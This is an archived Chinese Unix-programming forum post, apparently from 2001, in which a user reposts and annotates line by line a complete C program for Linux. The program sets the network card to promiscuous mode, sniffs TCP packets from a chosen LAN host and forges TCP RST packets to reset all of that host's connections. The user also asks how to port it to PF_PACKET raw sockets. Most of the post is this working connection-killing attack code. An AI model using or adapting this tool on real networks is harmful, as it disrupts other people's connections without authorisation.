⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 150.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>123</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="136.htm">上一层</a>][<a href="151.htm">下一篇</a>]
<hr><p align="left"><small>发信人: guru ( Darkness), 信区: unp <br>

标  题: Re: about Linux SOCK_PACKET <br>

发信站: UNIX编程 (2001年06月27日19:04:15 星期三), 站内信件 <br>

  <br>

---------------------------------------------------------------------------- <br>

---- <br>

: 小许 于 2000-11-21 21:03:59 加贴在 绿盟科技论坛(bbs.nsfocus.com)--UNIX系统安 <br>

:全: <br>

要我从头写一个程序有些困难,还是套用他人的程序用自己的理解修改修改。就用 <br>

scz的老窝华中区精华包里AngelFalls的程序「截断局域网里面给定IP的机器的所有 <br>

TCP连接程序」。 <br>

他用的是老的方式socket(PF_INET, SOCK_PACKET, htons(ETH_P_IP)),把它改成 <br>

socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_IP))效果等同,不用修改其他任何 <br>

一个字节,能截获被监测机器的包,并能修改包设置RST位发送出去,让对方连接复 <br>

位。 <br>

recvfrom和sendto函数最后第二个参数的类型是struct sockaddr *,如果用 <br>

socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))还是用sendto函数发包吗? 由于 <br>

没有什么基础,watercloud的文章我看不大懂,接口编号sll_ifindex填什么?头部 <br>

类型sll_hatype又填什么?总之用struct sockaddr_ll从头到脚构造整个物理帧我 <br>

一点不懂。(scz吐血不止)不知哪位兄弟有这方面的资料文章多推荐一些。或者用 <br>

socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))改一下这个程序。 <br>

哎,看在党国的份上,伸出手来,拉兄弟一把! <br>

以下就是AngelFalls的程序,为了省篇幅,删了他原来的一些注释。我的理解在程 <br>



序下,很多人都在看stevens的书,就以他的风格注释吧。 <br>

1  #include <stdio.h> <br>

2  #include <sys/time.h> <br>

3  #include <sys/types.h> <br>

4  #include <sys/socket.h> <br>

5  #include <sys/ioctl.h> <br>

6  #include <net/if.h> <br>

7  #include <netinet/ip.h> <br>

8  #include <netinet/in.h> <br>

9  #include <arpa/inet.h> <br>

10 #include <netinet/if_ether.h> <br>

11 #include <string.h> <br>

12 #define  __FAVOR_BSD <br>

13 #include <netinet/tcp.h> <br>

14 #include <unistd.h> <br>

15 #include <fcntl.h> <br>

16 #include <signal.h> <br>

17 #define  HEADER_LEN     32 //20+12 <br>

18 int sock_pck; <br>

19 struct ifreq ifr_old; <br>

20 u_int16_t in_chksum(u_short *addr, int len) <br>

21 { <br>

21 { <br>

22         u_int32_t sum = 0; <br>

23         u_int16_t *ad = addr, result; <br>

24         while(len > 1) <br>

25         { <br>

26                sum += *ad++; <br>

27                len -= 2; <br>

28         } <br>

29         if(len == 1) <br>

30         { <br>

31                 result = 0; <br>

32                 *((u_char *)&result) = *(u_char *)ad; <br>

33                 sum += result; <br>

34         } <br>

35         sum = (sum >> 16) + (sum & 0xffff); <br>

36         sum += (sum >> 16); <br>

38         result = ~sum; <br>

39         return(result); <br>

40 } <br>

41 void leave(int signo) <br>

42 { <br>

43         ifr_old.ifr_flags &= ~IFF_PROMISC; <br>

44         if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr_old) < 0 ) <br>



45         { <br>

46                 perror("Restore IFF_PROMISC"); <br>

47                 exit(-1); <br>

48         } <br>

49         setuid( getuid() ); <br>

50         exit(0); <br>

51 } <br>

52 int main(int argc, char *argv[]) <br>

53 { <br>

54         struct ifreq ifr; <br>

55         struct sockaddr_in sa; <br>

56         struct sockaddr sa_fr; <br>

57         struct in_addr sa_in, dst_addr, src_addr; <br>

58         u_char recvbuf[128], sendbuf[128], pseudoHead[HEADER_LEN], *pseud <br>

o, str1[32], str2[32], str_src[32], str_dst[32], str_flag[32]; <br>

59         struct iphdr *i_hdr, *i_hdr2; <br>

60         struct tcphdr *t_hdr, *t_hdr2; <br>

61         struct ethhdr *e_hdr; <br>

62         u_int16_t n; <br>

63         int len; <br>

64         if( argc != 2 ) <br>

65         { <br>

65         { <br>

66                 printf("Usage : %s remoteIP\n", argv[0]); <br>

67                 exit(-1); <br>

68         } <br>

69         if( inet_aton(argv[1], &sa.sin_addr) < 0 ) <br>

70         { <br>

71                 printf("Usage : %s remoteIP\n", argv[0]); <br>

72                 exit(-1); <br>

73         } <br>

74         if ( (sock_pck = socket(PF_INET, SOCK_PACKET, htons(ETH_P_IP))) < <br>

 0 ) <br>

75         { <br>

76                 perror("Socket Packet"); <br>

77                 exit(-1); <br>

78         } <br>

79         strcpy(ifr.ifr_name, "eth0"); <br>

80         if( ioctl(sock_pck, SIOCGIFFLAGS, &ifr) < 0 ) <br>

81         { <br>

82                 perror("Ioctl SIOCGIFFLAGS"); <br>

83                 exit(-1); <br>

84         } <br>

85         ifr_old = ifr; <br>

86         ifr.ifr_flags |= IFF_PROMISC; <br>



87         if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr) < 0 ) <br>

88         { <br>

89                 perror("Ioctl SIOCSIFFLAGS"); <br>

90                 exit(-1); <br>

91         } <br>

92         signal(SIGINT, leave); <br>

93         signal(SIGTERM, leave); <br>

94         while( 1 ) <br>

95         { <br>

96                 if( (n = recvfrom(sock_pck, recvbuf, 128, 0, &sa_fr, &len <br>

)) < 54 ) <br>

97                         continue; <br>

98                 i_hdr = (struct iphdr *)(recvbuf + 14); <br>

99                 if( i_hdr->protocol == IPPROTO_TCP && i_hdr->saddr == sa. <br>

sin_addr.s_addr)//Get target!!! <br>

100                { <br>

101                        sa_in.s_addr = i_hdr->daddr; <br>

102                        printf("%s to %s connection detected!\n", argv[1] <br>

, inet_ntoa(sa_in)); <br>

103                        t_hdr = (struct tcphdr *)(recvbuf + 34); <br>

104                        if( (t_hdr->th_flags & TH_RST) == 0 ) //If discon <br>

necting, we needn't to disconnect it again <br>



105                        { <br>

106                                memcpy(sendbuf, &recvbuf[6], 6); //6 is t <br>

he size of ether address <br>

107                                memcpy(&sendbuf[6], recvbuf, 6); <br>

108                                memcpy(&sendbuf[12], &recvbuf[12], 2); // <br>

protocol type, should be IP <br>

109                                i_hdr2 = (struct iphdr *)(sendbuf + 14); <br>

110                                memcpy(i_hdr2, i_hdr, 12); <br>

111                                i_hdr2->tot_len = htons(40); <br>

112                                i_hdr2->check = 0; <br>

113                                memcpy(&(i_hdr2->saddr), &(i_hdr->daddr), <br>

 4); <br>

114                                memcpy(&(i_hdr2->daddr), &(i_hdr->saddr), <br>

 4); <br>

115                                i_hdr2->check = in_chksum((u_short *)i_hd <br>

r2, 20); <br>

116                                t_hdr2 = (struct tcphdr *)(sendbuf + 34); <br>

  <br>

117                                t_hdr2->th_sport = t_hdr->th_dport; <br>

118                                t_hdr2->th_dport = t_hdr->th_sport; <br>

119                                t_hdr2->th_seq = t_hdr->th_ack; <br>

120                                t_hdr2->th_ack = t_hdr->th_seq; <br>



121                                t_hdr2->th_x2 = 0; <br>

122                                t_hdr2->th_off = 5;     //Header Len <br>

123                                t_hdr2->th_flags = TH_RST ; <br>

124                                t_hdr2->th_win = htons(32120); <br>

125                                t_hdr2->th_sum = 0; <br>

126                                t_hdr2->th_urp = 0; <br>

127                                pseudo = pseudoHead; <br>

128                                memcpy(pseudo, &i_hdr2->saddr, 8); <br>

129                                *(pseudo+8) = 0; <br>

130                                pseudo += 9; <br>

131                                memcpy(pseudo, &(i_hdr2->protocol), 1); <br>

132                                pseudo++; <br>

133                                n = htons(20); //TCP segment length <br>

134                                memcpy(pseudo, &n, 2); <br>

135                                pseudo += 2; <br>

136                                memcpy(pseudo, t_hdr2, 20); <br>

137                                t_hdr2->th_sum = in_chksum((u_short *)pse <br>

udoHead, HEADER_LEN); <br>

138                                sa_fr.sa_family = 1; <br>

139                                strcpy(sa_fr.sa_data, "eth0"); <br>

140                                if( sendto(sock_pck, sendbuf, 54, 0, &sa_ <br>

fr, sizeof(sa_fr)) < 0 ) <br>



141                                        perror("SendTo"); <br>

142                                else <br>

143                                        printf("%s to %s connection sent <br>

RST!\n", argv[1], inet_ntoa(sa_in)); <br>

144                                printf("\n"); <br>

145                        } <br>

146                } <br>

147        } <br>

148        return 0; <br>

149} <br>

第12行定义了BSD,否则tcphdr的结构就全变了。 <br>

第20~40行是网际校验和计算函数,TCPv2的8.7节有介绍,说实在的我没看懂。 <br>

第41~51行是退出函数,把网卡设置成非混杂模式,回到从前退出。 <br>

第74行建立链路层套接口。unpv1的26.4节有SOCK_PACKET的简单介绍。 <br>

第80行获得套接口标志。unpv1的16.3节有ioctl的套接口操作的资料。 <br>

第86~87行把网卡设置成混杂模式。 <br>

第92行捕获ctl+c <br>

第93行捕获kill命令的终止信号。 <br>

第96~97行从SOCK_PACKET接收一个包,如果小于54字节重新接收。unpv1的8.2节有说r <br>

ecvfrom和sendto函数。 <br>

第98行把i_hdr指向包偏移14字节的地方,就是IP首部。 <br>

第99行判断IP首部的协议和源地址是否是IPPROTO_TCP和我们监测的IP地址。 <br>



第103行把t_hdr指向包偏移34字节的地方,就是TCP首部。 <br>

第104行判断TCP首部是否设置了RST位。 <br>

第106~107行由于要把包修改后发给监测机器,把网卡地址对换。 <br>

第109~126行构造IP和TCP的首部,并且设置RST位。 <br>

第127~137行计算和设置网际校验和。 <br>

第138~139行设置sendto的最后第二个参数sa_fr。 <br>

第140行通过链路层发送修改后的包,如果成功,对方机器的连接将被复位。 <br>

  <br>

【 在 guru ( Darkness) 的大作中提到: 】 <br>

: ---------------------------------------------------------------------------- <br>

: ---- <br>

:  小许 于 2000-11-20 20:44:39 加贴在 绿盟科技论坛(bbs.nsfocus.com)--UNIX系统安 <br>

: 全: <br>

: 前面watercloud贴了一篇PF_PACKET设备层编程接口的文章,本来我对SOCK_RAW和 <br>

: SOCK_PACKET的理解就不太明了,现在更加拎不清了:( <br>

: 我的理解是SOCK_RAW在网络层,SOCK_PACKET在链路层? <br>

: socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP))能捕获和发送数据报。 <br>

: socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP))能捕获,但用sendto()发送的 <br>

: 时候要出错,只能用socket(AF_INET, SOCK_RAW, IPPROTO_RAW)来发送。 而 <br>

: .................(以下省略) <br>

-- <br>

※ 修改:·guru 於 07月19日09:42:07 修改本文·[FROM: 202.114.36.199] <br>



※ 来源:·UNIX编程 www.tiaozhan.com/unixbbs/·[FROM: 202.114.36.239] <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="136.htm">上一层</a>][<a href="151.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -